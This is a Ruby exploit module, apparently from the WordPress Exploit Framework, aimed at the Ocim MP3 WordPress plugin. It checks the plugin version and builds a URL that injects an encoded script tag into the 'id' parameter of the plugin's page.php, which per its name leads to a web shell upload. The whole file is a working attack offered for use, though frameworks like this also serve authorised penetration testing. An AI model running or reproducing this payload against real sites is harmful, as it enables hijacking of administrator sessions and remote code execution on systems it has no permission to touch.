# frozen_string_literal: true

class Wpxf::Exploit::OcimMp3ReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::ReflectedXss

  def initialize
    super

    update_info(
      name: 'Ocim MP3 Reflected XSS Shell Upload',
      author: [
        'Soufiane Boussali', # Discovery
        'rastating'          # WPXF module
      ],
      references: [
        ['WPVDB', '8425']
      ],
      date: 'Mar 07 2016'
    )
  end

  def check
    check_plugin_version_from_readme('ocim-mp3')
  end

  def vulnerable_url
    normalize_uri(
      wordpress_url_plugins,
      'ocim-mp3',
      'source',
      'page.php'
    )
  end

  def url_with_xss
    "#{vulnerable_url}?id=%22%3E%3Cscript%3E#{xss_ascii_encoded_include_script}%3C%2Fscript%3E"
  end
end
